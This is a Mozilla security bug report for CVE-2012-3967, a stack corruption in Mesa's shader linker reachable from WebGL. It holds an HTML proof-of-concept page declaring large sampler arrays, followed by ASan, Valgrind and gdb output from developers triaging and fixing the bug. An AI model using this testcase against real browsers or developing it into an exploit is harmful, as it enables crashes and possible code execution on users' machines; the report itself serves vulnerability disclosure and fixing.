Last Comment Bug 777028 - (CVE-2012-3967) stack scribbling with 4-byte values choosable among a few values, when using more than 16 sampler uniforms, on Mesa, with all drivers
(CVE-2012-3967)
: stack scribbling with 4-byte values choosable among a few values, when using ...
Status: VERIFIED FIXED
[asan][advisory-tracking+][qa-] drive...
: sec-critical, sec-vector
Product: Core
Classification: Components
Component: Canvas: WebGL (show other bugs)
: Trunk
: x86 Linux
: -- normal (vote)
: mozilla17
Assigned To: Benoit Jacob [:bjacob] (mostly away)
:
Mentors:
Depends on:
Blocks:
  Show dependency treegraph
 
Reported: 2012-07-24 12:21 PDT by miaubiz
Modified: 2016-06-16 00:56 PDT (History)
25 users (show)
dveditz: sec‑bounty+
ryanvm: in‑testsuite?
See Also:
Crash Signature:
(edit)
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---
+
fixed
+
verified
verified
15+
fixed


Attachments
reproduction case (1.11 KB, text/plain)
2012-07-24 12:21 PDT, miaubiz
no flags Details
alternative repro (1.11 KB, text/plain)
2012-07-24 12:21 PDT, miaubiz
no flags Details
third such (1.11 KB, text/plain)
2012-07-24 12:21 PDT, miaubiz
no flags Details
asan log for ff1.html (920 bytes, text/plain)
2012-07-24 12:22 PDT, miaubiz
no flags Details
asan log for ff2.html (907 bytes, text/plain)
2012-07-24 12:22 PDT, miaubiz
no flags Details
asan log for ff3.html (921 bytes, text/plain)
2012-07-24 12:22 PDT, miaubiz
no flags Details
mesa patch making this a non-security bug (plain abort before bad things happen) (846 bytes, patch)
2012-08-09 13:15 PDT, Benoit Jacob [:bjacob] (mostly away)
no flags Details | Diff | Review
work around the Mesa bug by using the uniform info from ANGLE to count uniform samplers (4.80 KB, patch)
2012-08-09 17:07 PDT, Benoit Jacob [:bjacob] (mostly away)
jgilbert: review+
lukasblakk+bugs: approval‑mozilla‑aurora+
lukasblakk+bugs: approval‑mozilla‑beta+
Details | Diff | Review
testcase fixed to work in all browsers (1.12 KB, text/html)
2012-08-09 17:08 PDT, Benoit Jacob [:bjacob] (mostly away)
no flags Details
Patch for Firefox ESR 10: blacklist Mesa for WebGL (1.17 KB, patch)
2012-08-10 07:47 PDT, Benoit Jacob [:bjacob] (mostly away)
jgilbert: review+
lukasblakk+bugs: approval‑mozilla‑esr10+
Details | Diff | Review
Patch to fix the underlying problem in Mesa (1.01 KB, patch)
2012-08-17 19:35 PDT, Ian Romanick
no flags Details | Diff | Review
honor gfx.work-around-driver-bugs (991 bytes, patch)
2012-08-20 21:38 PDT, Benoit Jacob [:bjacob] (mostly away)
jgilbert: review+
Details | Diff | Review
Test case (190 bytes, text/plain)
2012-08-21 16:13 PDT, Ian Romanick
no flags Details

Description miaubiz 2012-07-24 12:21:08 PDT
Created attachment 645425 [details]
reproduction case

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11

Steps to reproduce:

on linux, with decoders asan opt nightly build

I loaded:
<html>
  <head>
    <script id="vshader" type="x-shader/x-vertex">
      void main()
      {
        vec4 x;
        gl_Position = x;
      }
    </script>

    <script id="fshader" type="x-shader/x-fragment">
      precision mediump float;
      uniform sampler2D uni[29];
      void main()
      {
        vec4 c;
        for (int i = 0; i < 2; i++) {
          c += texture2D(uni[i], vec2(0));
        }
      }
    </script>
    <script>
      function loadShaderFromScript(gl, name, shaderType) {
        var shader = gl.createShader(shaderType)
        var shaderSource = document.getElementById(name).text
        gl.shaderSource(shader, shaderSource)
        gl.compileShader(shader)
        return shader
      }
      onload = function() {
        var gl = document.createElement('canvas').getContext("moz-webgl")
        var program = gl.createProgram()
        gl.attachShader(program, loadShaderFromScript(gl, 'vshader', gl.VERTEX_SHADER))
        gl.attachShader(program, loadShaderFromScript(gl, 'fshader', gl.FRAGMENT_SHADER))
        gl.linkProgram(program)
      }
    </script>
  </head>
  <body>
  </body>
</html>



Actual results:

==7388== ERROR: AddressSanitizer crashed on unknown address 0x7fff00000187 (pc 0x7fffbe4995c8 sp 0x7fffffff43d0 bp 0x7fffb8bc2980 T0)
AddressSanitizer can not provide additional info. ABORTING
    #0 0x7fffbe4995c8 in ?? ??:0

==18352== ERROR: AddressSanitizer crashed on unknown address 0x000700000007 (pc 0x000700000007 sp 0x7fffffff43d0 bp 0x000700000007 T0)
AddressSanitizer can not provide additional info. ABORTING
    #0 0x700000007

==29536== ERROR: AddressSanitizer crashed on unknown address 0x7ffffffff000 (pc 0x7fffbe0996a3 sp 0x7fffffff4290 bp 0x7fffb9b69db0 T0)
AddressSanitizer can not provide additional info. ABORTING
    #0 0x7fffbe0996a3 in ?? ??:0


I have seen these three asan outputs, they depend on the number on this line:
      uniform sampler2D uni[29];

29 is the lower bound, 65535 is the upper bound.
Comment 1 miaubiz 2012-07-24 12:21:30 PDT
Created attachment 645426 [details]
alternative repro
Comment 2 miaubiz 2012-07-24 12:21:47 PDT
Created attachment 645427 [details]
third such
Comment 3 miaubiz 2012-07-24 12:22:08 PDT
Created attachment 645428 [details]
asan log for ff1.html
Comment 4 miaubiz 2012-07-24 12:22:33 PDT
Created attachment 645430 [details]
asan log for ff2.html
Comment 5 miaubiz 2012-07-24 12:22:51 PDT
Created attachment 645431 [details]
asan log for ff3.html
Comment 6 David Bolter [:davidb] 2012-07-25 10:08:05 PDT
Benoit, I am provisionally calling this sec-critical but would like your input.
Comment 7 Benoit Jacob [:bjacob] (mostly away) 2012-07-25 13:34:11 PDT
The fact that this depends on the length of the uniform array suggests that this may be a duplicate of bug 775234, for which the fix just landed on mozilla-inbound.

Could you please retry with this fix?
Comment 8 Benoit Jacob [:bjacob] (mostly away) 2012-07-25 13:36:01 PDT
(In reply to David Bolter [:davidb] from comment #6)
> Benoit, I am provisionally calling this sec-critical but would like your
> input.

David, if this is a duplicate of bug 775234 then it's sec-low. Or do you see any new data here to suggest that it's critical? bug 775234 could look scary on the surface as it was random invalid reads, but the reads only allow to check if random bytes, not really controllable by the attacker, are equal to ']'.
Comment 9 Daniel Veditz [:dveditz] 2012-08-02 13:49:13 PDT
miaubiz: now that bug 775234 is fixed can you still reproduce this crash?
Comment 12 miaubiz 2012-08-07 11:26:39 PDT
sorry, I didn't realize this was waiting for my input.

yes I can still repro with 1bbc0b65dffb from https://people.mozilla.com/~choller/firefox/asan/20120807-mozilla-central-linux64-opt-1bbc0b65dffb+asan.html.

775234 stopped reproing for me after the fix.
Comment 13 Benoit Jacob [:bjacob] (mostly away) 2012-08-07 11:27:37 PDT
OK, so this isn't a dupe... /me worries again
Comment 14 Benoit Jacob [:bjacob] (mostly away) 2012-08-07 11:49:35 PDT
We can't reproduce this in Firefox, at all.

We tried 2 different Macs: one with OSX 10.7.4 and one with OSX 10.8.

On each of them, we tried both the Intel and the AMD GPU.

Incidentally, the UA string in comment 0 is not a Firefox UA.
Comment 15 miaubiz 2012-08-07 11:58:56 PDT
it only reproes on linux for me. I just used a mac (and a different browser) when reporting it. :|
Comment 16 David Bolter [:davidb] 2012-08-07 12:29:29 PDT
(In reply to Benoit Jacob [:bjacob] from comment #13)
> OK, so this isn't a dupe... /me worries again

Note: it really isn't clear to me how much/little we should worry.
Comment 17 Benoit Jacob [:bjacob] (mostly away) 2012-08-07 12:31:39 PDT
(In reply to miaubiz from comment #15)
> it only reproes on linux for me. I just used a mac (and a different browser)
> when reporting it. :|

Ah! You did say Linux in comment 0, but I missed it.

Please give more details:

32 or 64 bit? What distro? Please paste your about:support Graphics.
Comment 18 miaubiz 2012-08-07 12:42:47 PDT
64bit ubuntu 12.04

Linux  3.2.0-27-generic #43-Ubuntu SMP Fri Jul 6 14:25:57 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux

it has a amd hd6450, but it's apparently misconfigured to use a silly driver.  it doesn't have a display attached and I mostly run firefox under Xvfb, although with DISPLAY=:0 it crashes the same way.

Graphics
Adapter Description VMware, Inc. -- Gallium 0.4 on llvmpipe (LLVM 0x300)
Vendor ID VMware, Inc.
Device ID Gallium 0.4 on llvmpipe (LLVM 0x300)
Driver Version 2.1 Mesa 8.0.3
WebGL Renderer VMware, Inc. -- Gallium 0.4 on llvmpipe (LLVM 0x300) -- 2.1 Mesa 8.0.3
GPU Accelerated Windows 0
AzureCanvasBackend none
AzureFallbackCanvasBackend none
AzureContentBackend none
Comment 19 David Bolter [:davidb] 2012-08-08 13:19:31 PDT
Assigning to Benoit for now (forever!).
Comment 20 miaubiz 2012-08-09 07:16:12 PDT
bjacob: I switched my box to use fglrx and the crash went away. for some files I am getting:

INFO: AddressSanitizer ignores mlock/mlockall/munlock/munlockall
==28409== ERROR: AddressSanitizer strcpy-param-overlap: memory ranges [0x7ffffffe7fe4,0x7ffffffe7fe9) and [0x7ffffffe7fe4, 0x7ffffffe7fe9) overlap
    #0 0x421f88 in strcpy ??:0
    #1 0x7fffb7a096a7 in ?? ??:0

which might not be a bug at all. but my fuzzer doesn't capture this asan output correctly yet.
Comment 21 Benoit Jacob [:bjacob] (mostly away) 2012-08-09 07:50:45 PDT
Hah, llvmpipe! So in a sense that's good news, means that one should be able to reproduce on any machine.
Comment 22 Benoit Jacob [:bjacob] (mostly away) 2012-08-09 09:13:46 PDT
The first testcase reproduces reliably, with Mesa 8.0.3 llvmpipe, debug build, linux 64bit.

Program received signal SIGSEGV, Segmentation fault.
0x00007fffcdea9658 in link_assign_uniform_locations (prog=0x7fffd41c1df0) at src/glsl/link_uniforms.cpp:398
398           foreach_list(node, prog->_LinkedShaders[i]->ir) {
(gdb) bt
#0  0x00007fffcdea9658 in link_assign_uniform_locations (prog=0x7fffd41c1df0) at src/glsl/link_uniforms.cpp:398
#1  0x00007fffcdea818e in link_shaders (ctx=0x7fffddeb8000, prog=0x7fffd41c1df0) at src/glsl/linker.cpp:2378
#2  0x00007fffcdd47cde in _mesa_glsl_link_shader (ctx=0x7fffddeb8000, prog=0x7fffd41c1df0)
    at src/mesa/program/ir_to_mesa.cpp:3410
#3  0x00007fffcdcfcbcf in link_program (ctx=0x7fffddeb8000, program=1) at src/mesa/main/shaderapi.c:763
#4  0x00007fffcdcfdd5d in _mesa_LinkProgramARB (programObj=1) at src/mesa/main/shaderapi.c:1264
#5  0x00007ffff3703cc4 in mozilla::gl::GLContext::fLinkProgram (this=0x7fffde149000, program=1)
    at ../../../dist/include/GLContext.h:2533
#6  0x00007ffff3714cd8 in mozilla::WebGLContext::LinkProgram (this=0x7fffcf20a000, program=0x7fffddf89340, rv=...)
    at /hack/mozilla-central/content/canvas/src/WebGLContextGL.cpp:3719
#7  0x00007ffff3714b49 in mozilla::WebGLContext::LinkProgram (this=0x7fffcf20a000, pobj=0x7fffddf89340)
    at /hack/mozilla-central/content/canvas/src/WebGLContextGL.cpp:3683
#8  0x00007ffff478fe38 in mozilla::dom::WebGLRenderingContextBinding::linkProgram (cx=0x7fffd4696a40, obj=..., 
    self=0x7fffcf20a000, argc=1, vp=0x7fffdffff138)
    at /hack/mozilla-central/obj-firefox-debug/dom/bindings/WebGLRenderingContextBinding.cpp:3682
#9  0x00007ffff4799049 in mozilla::dom::WebGLRenderingContextBinding::genericMethod (cx=0x7fffd4696a40, argc=1, 
    vp=0x7fffdffff138) at /hack/mozilla-central/obj-firefox-debug/dom/bindings/WebGLRenderingContextBinding.cpp:6933
#10 0x00007ffff52aecdc in js::CallJSNative (cx=0x7fffd4696a40, 
    native=0x7ffff4798f43 <mozilla::dom::WebGLRenderingContextBinding::genericMethod(JSContext*, unsigned int, JS::Value*)>, args=...) at /hack/mozilla-central/js/src/jscntxtinlines.h:389
#11 0x00007ffff52b6c3e in js::InvokeKernel (cx=0x7fffd4696a40, args=..., construct=js::NO_CONSTRUCT)
    at /hack/mozilla-central/js/src/jsinterp.cpp:345
#12 0x00007ffff52c3b27 in js::Interpret (cx=0x7fffd4696a40, entryFrame=0x7fffdffff0b8, 
    interpMode=js::JSINTERP_NORMAL) at /hack/mozilla-central/js/src/jsinterp.cpp:2408
#13 0x00007ffff52b67c9 in js::RunScript (cx=0x7fffd4696a40, script=0x7fffded4f240, fp=0x7fffdffff0b8)
    at /hack/mozilla-central/js/src/jsinterp.cpp:302
#14 0x00007ffff52b6d01 in js::InvokeKernel (cx=0x7fffd4696a40, args=..., construct=js::NO_CONSTRUCT)
    at /hack/mozilla-central/js/src/jsinterp.cpp:356
#15 0x00007ffff5206cb0 in js::Invoke (cx=0x7fffd4696a40, args=..., construct=js::NO_CONSTRUCT)
    at /hack/mozilla-central/js/src/jsinterp.h:119
#16 0x00007ffff52b6ef0 in js::Invoke (cx=0x7fffd4696a40, thisv=..., fval=..., argc=1, argv=0x7fffffffa220, 
    rval=0x7fffffffa1b0) at /hack/mozilla-central/js/src/jsinterp.cpp:388
#17 0x00007ffff51f8046 in JS_CallFunctionValue (cx=0x7fffd4696a40, objArg=0x7fffded4b060, fval=..., argc=1, 
    argv=0x7fffffffa220, rval=0x7fffffffa1b0) at /hack/mozilla-central/js/src/jsapi.cpp:5886
#18 0x00007ffff399b831 in nsJSContext::CallEventHandler (this=0x7fffd4476280, aTarget=0x7fffd3b69080, 
    aScope=0x7fffded4b060, aHandler=0x7fffded52a00, aargv=0x7fffcf2b8460, arv=0x7fffffffa490)
    at /hack/mozilla-central/dom/base/nsJSEnvironment.cpp:1921
#19 0x00007ffff3ab8478 in nsJSEventListener::HandleEvent (this=0x7fffd493c3c0, aEvent=0x7fffd0c8f330)
    at /hack/mozilla-central/dom/src/events/nsJSEventListener.cpp:188
---Type <return> to continue, or q <return> to quit---
#20 0x00007ffff37758a8 in nsEventListenerManager::HandleEventSubType (this=0x7fffdd9fe230, 
    aListenerStruct=0x7fffdd9fe268, aListener=0x7fffd493c3c0, aDOMEvent=0x7fffd0c8f330, 
    aCurrentTarget=0x7fffd3b69098, aPhaseFlags=6, aPusher=0x7fffffffa860)
    at /hack/mozilla-central/content/events/src/nsEventListenerManager.cpp:793
#21 0x00007ffff3775b5e in nsEventListenerManager::HandleEventInternal (this=0x7fffdd9fe230, aPresContext=
    0x7fffd3be3000, aEvent=0x7fffffffa960, aDOMEvent=0x7fffffffa840, aCurrentTarget=0x7fffd3b69098, aFlags=6, 
    aEventStatus=0x7fffffffa848, aPusher=0x7fffffffa860)
    at /hack/mozilla-central/content/events/src/nsEventListenerManager.cpp:866
#22 0x00007ffff37a1b46 in nsEventListenerManager::HandleEvent (this=0x7fffdd9fe230, aPresContext=0x7fffd3be3000, 
    aEvent=0x7fffffffa960, aDOMEvent=0x7fffffffa840, aCurrentTarget=0x7fffd3b69098, aFlags=6, 
    aEventStatus=0x7fffffffa848, aPusher=0x7fffffffa860)
    at /hack/mozilla-central/content/events/src/nsEventListenerManager.h:143
#23 0x00007ffff37a2076 in nsEventTargetChainItem::HandleEvent (this=0x7fffd5e60188, aVisitor=..., aFlags=6, 
    aMayHaveNewListenerManagers=false, aPusher=0x7fffffffa860)
    at /hack/mozilla-central/content/events/src/nsEventDispatcher.cpp:183
#24 0x00007ffff37a257a in nsEventTargetChainItem::HandleEventTargetChain (this=0x7fffd5e60038, aVisitor=..., 
    aFlags=6, aCallback=0x0, aMayHaveNewListenerManagers=false, aPusher=0x7fffffffa860)
    at /hack/mozilla-central/content/events/src/nsEventDispatcher.cpp:315
#25 0x00007ffff37a365c in nsEventDispatcher::Dispatch (aTarget=0x7fffd435a000, aPresContext=0x7fffd3be3000, 
    aEvent=0x7fffffffa960, aDOMEvent=0x0, aEventStatus=0x7fffffffa9e4, aCallback=0x0, aTargets=0x0)
    at /hack/mozilla-central/content/events/src/nsEventDispatcher.cpp:638
#26 0x00007ffff324201f in DocumentViewerImpl::LoadComplete (this=0x7fffd440d0c0, aStatus=0)
    at /hack/mozilla-central/layout/base/nsDocumentViewer.cpp:1025
#27 0x00007ffff40b7366 in nsDocShell::EndPageLoad (this=0x7fffd4359400, aProgress=0x7fffd4359428, aChannel=
    0x7fffd4491cb0, aStatus=0) at /hack/mozilla-central/docshell/base/nsDocShell.cpp:6326
#28 0x00007ffff40b6989 in nsDocShell::OnStateChange (this=0x7fffd4359400, aProgress=0x7fffd4359428, 
    aRequest=0x7fffd4491cb0, aStateFlags=131088, aStatus=0)
    at /hack/mozilla-central/docshell/base/nsDocShell.cpp:6157
#29 0x00007ffff40e6bc3 in nsDocLoader::DoFireOnStateChange (this=0x7fffd4359400, aProgress=0x7fffd4359428, 
    aRequest=0x7fffd4491cb0, aStateFlags=@0x7fffffffb054: 131088, aStatus=0)
    at /hack/mozilla-central/uriloader/base/nsDocLoader.cpp:1351
#30 0x00007ffff40e58fc in nsDocLoader::doStopDocumentLoad (this=0x7fffd4359400, request=0x7fffd4491cb0, aStatus=0)
    at /hack/mozilla-central/uriloader/base/nsDocLoader.cpp:931
#31 0x00007ffff40e5471 in nsDocLoader::DocLoaderIsEmpty (this=0x7fffd4359400, aFlushLayout=true)
    at /hack/mozilla-central/uriloader/base/nsDocLoader.cpp:820
#32 0x00007ffff40e4f81 in nsDocLoader::OnStopRequest (this=0x7fffd4359400, aRequest=0x7fffd3ee03c0, aCtxt=0x0, 
    aStatus=0) at /hack/mozilla-central/uriloader/base/nsDocLoader.cpp:704
#33 0x00007ffff2f48428 in nsLoadGroup::RemoveRequest (this=0x7fffd44fe6d0, request=0x7fffd3ee03c0, ctxt=0x0, 
    aStatus=0) at /hack/mozilla-central/netwerk/base/src/nsLoadGroup.cpp:698
---Type <return> to continue, or q <return> to quit---
#34 0x00007ffff35dde9d in nsDocument::DoUnblockOnload (this=0x7fffd40e9800)
    at /hack/mozilla-central/content/base/src/nsDocument.cpp:7171
#35 0x00007ffff35ddc03 in nsDocument::UnblockOnload (this=0x7fffd40e9800, aFireSync=true)
    at /hack/mozilla-central/content/base/src/nsDocument.cpp:7113
#36 0x00007ffff35d37ba in nsDocument::DispatchContentLoadedEvents (this=0x7fffd40e9800)
    at /hack/mozilla-central/content/base/src/nsDocument.cpp:4203
#37 0x00007ffff2ef708d in nsRunnableMethodImpl<void (nsUpdateProcessor::*)(), true>::Run (this=0x7fffdda5ff40)
    at ../../dist/include/nsThreadUtils.h:349
#38 0x00007ffff4816a14 in nsThread::ProcessNextEvent (this=0x7ffff6c6f570, mayWait=false, result=0x7fffffffb65f)
    at /hack/mozilla-central/xpcom/threads/nsThread.cpp:624
#39 0x00007ffff47aad5e in NS_ProcessNextEvent_P (thread=0x7ffff6c6f570, mayWait=false)
    at /hack/mozilla-central/obj-firefox-debug/xpcom/build/nsThreadUtils.cpp:220
#40 0x00007ffff45cde20 in mozilla::ipc::MessagePump::Run (this=0x7fffe9558700, aDelegate=0x7ffff6cb6560)
    at /hack/mozilla-central/ipc/glue/MessagePump.cpp:82
#41 0x00007ffff48650a5 in MessageLoop::RunInternal (this=0x7ffff6cb6560)
    at /hack/mozilla-central/ipc/chromium/src/base/message_loop.cc:208
#42 0x00007ffff4865036 in MessageLoop::RunHandler (this=0x7ffff6cb6560)
    at /hack/mozilla-central/ipc/chromium/src/base/message_loop.cc:201
#43 0x00007ffff486500f in MessageLoop::Run (this=0x7ffff6cb6560)
    at /hack/mozilla-central/ipc/chromium/src/base/message_loop.cc:175
#44 0x00007ffff4451f58 in nsBaseAppShell::Run (this=0x7fffe3e70400)
    at /hack/mozilla-central/widget/xpwidgets/nsBaseAppShell.cpp:163
#45 0x00007ffff419b066 in nsAppStartup::Run (this=0x7fffe3e6e2e0)
    at /hack/mozilla-central/toolkit/components/startup/nsAppStartup.cpp:271
#46 0x00007ffff2ee17d0 in XREMain::XRE_mainRun (this=0x7fffffffbb30)
    at /hack/mozilla-central/toolkit/xre/nsAppRunner.cpp:3795
#47 0x00007ffff2ee1ab1 in XREMain::XRE_main (this=0x7fffffffbb30, argc=5, argv=0x7fffffffdf98, aAppData=0x435c20)
    at /hack/mozilla-central/toolkit/xre/nsAppRunner.cpp:3872
#48 0x00007ffff2ee1cfa in XRE_main (argc=5, argv=0x7fffffffdf98, aAppData=0x435c20, aFlags=0)
    at /hack/mozilla-central/toolkit/xre/nsAppRunner.cpp:3948
#49 0x0000000000402a6e in do_main (argc=5, argv=0x7fffffffdf98)
    at /hack/mozilla-central/browser/app/nsBrowserApp.cpp:174
#50 0x0000000000402d15 in main (argc=5, argv=0x7fffffffdf98)
    at /hack/mozilla-central/browser/app/nsBrowserApp.cpp:279
Comment 23 Benoit Jacob [:bjacob] (mostly away) 2012-08-09 10:29:46 PDT
In Valgrind/memcheck I get these two errors before it crashes:

==20835== Conditional jump or move depends on uninitialised value(s)
==20835==    at 0x2E451578: _mesa_glsl_parse_state::_mesa_glsl_parse_state(gl_context*, unsigned int, void*) (glsl_parser_extras.cpp:118)
==20835==    by 0x2E483FFB: read_builtins(unsigned int, char const*, char const**, unsigned int) (builtin_function.cpp:44)
==20835==    by 0x2E48426F: _mesa_read_profile(_mesa_glsl_parse_state*, int, char const*, char const**, int) (builtin_function.cpp:16205)
==20835==    by 0x2E4843E2: _mesa_glsl_initialize_functions(_mesa_glsl_parse_state*) (builtin_function.cpp:16244)
==20835==    by 0x2E441345: match_function_by_name(exec_list*, char const*, YYLTYPE*, exec_list*, ir_call**, _mesa_glsl_parse_state*) (ast_function.cpp:314)
==20835==    by 0x2E444DD8: ast_function_expression::hir(exec_list*, _mesa_glsl_parse_state*) (ast_function.cpp:1460)
==20835==    by 0x2E448849: ast_expression::hir(exec_list*, _mesa_glsl_parse_state*) (ast_to_hir.cpp:1307)
==20835==    by 0x2E44A435: ast_expression_statement::hir(exec_list*, _mesa_glsl_parse_state*) (ast_to_hir.cpp:1813)
==20835==    by 0x2E44A4A1: ast_compound_statement::hir(exec_list*, _mesa_glsl_parse_state*) (ast_to_hir.cpp:1829)
==20835==    by 0x2E44F145: ast_iteration_statement::hir(exec_list*, _mesa_glsl_parse_state*) (ast_to_hir.cpp:3829)
==20835==    by 0x2E44A4A1: ast_compound_statement::hir(exec_list*, _mesa_glsl_parse_state*) (ast_to_hir.cpp:1829)
==20835==    by 0x2E44D881: ast_function_definition::hir(exec_list*, _mesa_glsl_parse_state*) (ast_to_hir.cpp:3312)
==20835== 
==20835== Invalid read of size 8
==20835==    at 0x2E46F658: link_assign_uniform_locations(gl_shader_program*) (link_uniforms.cpp:398)
==20835==    by 0x2E46E18D: link_shaders(gl_context*, gl_shader_program*) (linker.cpp:2378)
==20835==    by 0x2E30DCDD: _mesa_glsl_link_shader (ir_to_mesa.cpp:3410)
==20835==    by 0x2E2C2BCE: link_program (shaderapi.c:763)
==20835==    by 0x2E2C3D5C: _mesa_LinkProgramARB (shaderapi.c:1264)
==20835==    by 0x72BECC3: mozilla::gl::GLContext::fLinkProgram(unsigned int) (GLContext.h:2533)
==20835==    by 0x72CFCD7: mozilla::WebGLContext::LinkProgram(mozilla::WebGLProgram*, mozilla::ErrorResult&) (WebGLContextGL.cpp:3719)
==20835==    by 0x72CFB48: mozilla::WebGLContext::LinkProgram(nsIWebGLProgram*) (WebGLContextGL.cpp:3683)
==20835==    by 0x834AE37: mozilla::dom::WebGLRenderingContextBinding::linkProgram(JSContext*, JS::Handle<JSObject*>, mozilla::WebGLContext*, unsigned int, JS::Value*) (WebGLRenderingContextBinding.cpp:3682)
==20835==    by 0x8354048: mozilla::dom::WebGLRenderingContextBinding::genericMethod(JSContext*, unsigned int, JS::Value*) (WebGLRenderingContextBinding.cpp:6933)
==20835==    by 0x8E69CDB: js::CallJSNative(JSContext*, int (*)(JSContext*, unsigned int, JS::Value*), JS::CallArgs const&) (jscntxtinlines.h:389)
==20835==    by 0x8E71C3D: js::InvokeKernel(JSContext*, JS::CallArgs, js::MaybeConstruct) (jsinterp.cpp:345)
==20835==  Address 0x7 is not stack'd, malloc'd or (recently) free'd
==20835==
Comment 24 Benoit Jacob [:bjacob] (mostly away) 2012-08-09 12:20:00 PDT
Here's a GDB session showing what exactly is happening. Interpretation below.

Breakpoint 1, link_assign_uniform_locations (prog=0x7fffd41d9f70) at src/glsl/link_uniforms.cpp:399
399              ir_variable *const var = ((ir_instruction *) node)->as_variable();
(gdb) p i
$3 = 1
(gdb) p node
$4 = (exec_node *) 0x7fffd40324b8
(gdb) p &node
$5 = (exec_node **) 0x7fffffff85b8
(gdb) watch *((exec_node **) 0x7fffffff85b8)
Hardware watchpoint 2: *((exec_node **) 0x7fffffff85b8)
(gdb) c
Continuing.
Hardware watchpoint 2: *((exec_node **) 0x7fffffff85b8)

Old value = (exec_node *) 0x7fffd40324b8
New value = (exec_node *) 0x7fff00000007
parcel_out_uniform_storage::visit_field (this=0x7fffffff8520, type=0x7fffd3fc41d0, name=0x7fffd3fc9eb0 "uni") at src/glsl/link_uniforms.cpp:281
281                 this->shader_samplers_used |= 1U << i;
(gdb) bt
#0  parcel_out_uniform_storage::visit_field (this=0x7fffffff8520, type=0x7fffd3fc41d0, name=0x7fffd3fc9eb0 "uni") at src/glsl/link_uniforms.cpp:281
#1  0x00007fffcc6a90e0 in uniform_field_visitor::process (this=0x7fffffff8520, var=0x7fffd40324b0) at src/glsl/link_uniforms.cpp:64
#2  0x00007fffcc6a964e in link_assign_uniform_locations (prog=0x7fffd41d9f70) at src/glsl/link_uniforms.cpp:409
#3  0x00007fffcc6a818e in link_shaders (ctx=0x7fffddd30000, prog=0x7fffd41d9f70) at src/glsl/linker.cpp:2378
#4  0x00007fffcc547cde in _mesa_glsl_link_shader (ctx=0x7fffddd30000, prog=0x7fffd41d9f70) at src/mesa/program/ir_to_mesa.cpp:3410
#5  0x00007fffcc4fcbcf in link_program (ctx=0x7fffddd30000, program=1) at src/mesa/main/shaderapi.c:763
#6  0x00007fffcc4fdd5d in _mesa_LinkProgramARB (programObj=1) at src/mesa/main/shaderapi.c:1264
#7  0x00007ffff3703cc4 in mozilla::gl::GLContext::fLinkProgram (this=0x7fffddd4a800, program=1) at ../../../dist/include/GLContext.h:2533
#8  0x00007ffff3714cd8 in mozilla::WebGLContext::LinkProgram (this=0x7fffcdd40000, program=0x7fffddd57840, rv=...)
    at /hack/mozilla-central/content/canvas/src/WebGLContextGL.cpp:3719
#9  0x00007ffff3714b49 in mozilla::WebGLContext::LinkProgram (this=0x7fffcdd40000, pobj=0x7fffddd57840)
    at /hack/mozilla-central/content/canvas/src/WebGLContextGL.cpp:3683
#10 0x00007ffff478fe38 in mozilla::dom::WebGLRenderingContextBinding::linkProgram (cx=0x7fffd44c18b0, obj=..., self=0x7fffcdd40000, argc=1, vp=0x7fffdffff138)
    at /hack/mozilla-central/obj-firefox-debug/dom/bindings/WebGLRenderingContextBinding.cpp:3682
#11 0x00007ffff4799049 in mozilla::dom::WebGLRenderingContextBinding::genericMethod (cx=0x7fffd44c18b0, argc=1, vp=0x7fffdffff138)
    at /hack/mozilla-central/obj-firefox-debug/dom/bindings/WebGLRenderingContextBinding.cpp:6933
#12 0x00007ffff52aecdc in js::CallJSNative (cx=0x7fffd44c18b0, 
    native=0x7ffff4798f43 <mozilla::dom::WebGLRenderingContextBinding::genericMethod(JSContext*, unsigned int, JS::Value*)>, args=...)
    at /hack/mozilla-central/js/src/jscntxtinlines.h:389
#13 0x00007ffff52b6c3e in js::InvokeKernel (cx=0x7fffd44c18b0, args=..., construct=js::NO_CONSTRUCT) at /hack/mozilla-central/js/src/jsinterp.cpp:345
#14 0x00007ffff52c3b27 in js::Interpret (cx=0x7fffd44c18b0, entryFrame=0x7fffdffff0b8, interpMode=js::JSINTERP_NORMAL)
    at /hack/mozilla-central/js/src/jsinterp.cpp:2408
#15 0x00007ffff52b67c9 in js::RunScript (cx=0x7fffd44c18b0, script=0x7fffded54240, fp=0x7fffdffff0b8) at /hack/mozilla-central/js/src/jsinterp.cpp:302
#16 0x00007ffff52b6d01 in js::InvokeKernel (cx=0x7fffd44c18b0, args=..., construct=js::NO_CONSTRUCT) at /hack/mozilla-central/js/src/jsinterp.cpp:356
#17 0x00007ffff5206cb0 in js::Invoke (cx=0x7fffd44c18b0, args=..., construct=js::NO_CONSTRUCT) at /hack/mozilla-central/js/src/jsinterp.h:119
#18 0x00007ffff52b6ef0 in js::Invoke (cx=0x7fffd44c18b0, thisv=..., fval=..., argc=1, argv=0x7fffffffa0a0, rval=0x7fffffffa030)
    at /hack/mozilla-central/js/src/jsinterp.cpp:388
#19 0x00007ffff51f8046 in JS_CallFunctionValue (cx=0x7fffd44c18b0, objArg=0x7fffded50060, fval=..., argc=1, argv=0x7fffffffa0a0, rval=0x7fffffffa030)
    at /hack/mozilla-central/js/src/jsapi.cpp:5886
#20 0x00007ffff399b831 in nsJSContext::CallEventHandler (this=0x7fffd448be80, aTarget=0x7fffcdd41480, aScope=0x7fffded50060, aHandler=0x7fffded57a40, 
    aargv=0x7fffd4636790, arv=0x7fffffffa310) at /hack/mozilla-central/dom/base/nsJSEnvironment.cpp:1921
#21 0x00007ffff3ab8478 in nsJSEventListener::HandleEvent (this=0x7fffdebb8d40, aEvent=0x7fffd454f6f0)
    at /hack/mozilla-central/dom/src/events/nsJSEventListener.cpp:188
#22 0x00007ffff37758a8 in nsEventListenerManager::HandleEventSubType (this=0x7fffd4dbde90, aListenerStruct=0x7fffd4dbdec8, aListener=0x7fffdebb8d40, 
    aDOMEvent=0x7fffd454f6f0, aCurrentTarget=0x7fffcdd41498, aPhaseFlags=6, aPusher=0x7fffffffa6e0)
    at /hack/mozilla-central/content/events/src/nsEventListenerManager.cpp:793
#23 0x00007ffff3775b5e in nsEventListenerManager::HandleEventInternal (this=0x7fffd4dbde90, aPresContext=0x7fffcdd41800, aEvent=0x7fffffffa7e0, 
    aDOMEvent=0x7fffffffa6c0, aCurrentTarget=0x7fffcdd41498, aFlags=6, aEventStatus=0x7fffffffa6c8, aPusher=0x7fffffffa6e0)
    at /hack/mozilla-central/content/events/src/nsEventListenerManager.cpp:866
